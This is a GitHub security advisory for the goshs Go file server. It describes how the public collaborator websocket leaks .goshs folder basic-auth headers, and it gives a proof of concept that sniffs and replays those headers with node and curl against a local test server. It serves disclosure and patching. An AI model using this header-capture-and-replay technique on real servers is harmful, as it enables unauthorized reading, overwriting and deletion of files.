GitHub Security Advisory: GHSA-7h3j-592v-jcrp
Package: github.com/patrickhener/goshs/v2 (GO)
Severity: HIGH (CVSS 8.8)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 2.0.0-beta.4, <= 2.0.0-beta.5
Patched in: 2.0.0-beta.6

Summary: goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

Details:
### Summary
goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to `.goshs`-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including `Authorization`. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on `v2.0.0-beta.5`, the latest supported release as of April 10, 2026.

### Details
The main web UI and collaborator websocket stay public when goshs is started without global `-b user:pass` authentication:

- `httpserver/server.go:72-85` only installs `BasicAuthMiddleware()` when a global username or password is configured

The vulnerable request is logged before `.goshs` authorization is enforced:

- `httpserver/handler.go:277-279` calls `emitCollabEvent()` and `logger.LogRequest()` before the protected file is passed into ACL enforcement
- `httpserver/handler.go:291-309` performs folder-level `.goshs` authentication later in `applyCustomAuth()`

The collaborator pipeline copies and broadcasts every request header:

- `httpserver/collaborator.go:22-46` flattens all request headers, including `Authorization`, into the websocket event and sends them to the hub
- `ws/hub.go:77-84` fans the event out live to all connected websocket clients
- `ws/hub.go:116-122` replays up to 200 prior HTTP events to newly connected websocket clients via catchup

The frontend also makes the leak easier to understand by decoding authorization values:

- `assets/js/main.js:627-645` formats and decodes the `Authorization` header for display in the collaborator panel

In practice, a victim request such as:

```http
GET /ACLAuth/secret.txt
Authorization: Basic YWRtaW46YWRtaW4=
```

is visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access.

### PoC
Manual verification commands used:

`Terminal 1`

```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_collab_root
mkdir -p /tmp/goshs_collab_root/ACLAuth
cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs
printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt

/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096
```

`Terminal 2`

```bash
node - <<'NODE'
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onmessage = (ev) => console.log(ev.data.toString());
NODE
```

`Terminal 3`

```bash
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -o /dev/null -w '%{http_code}\n'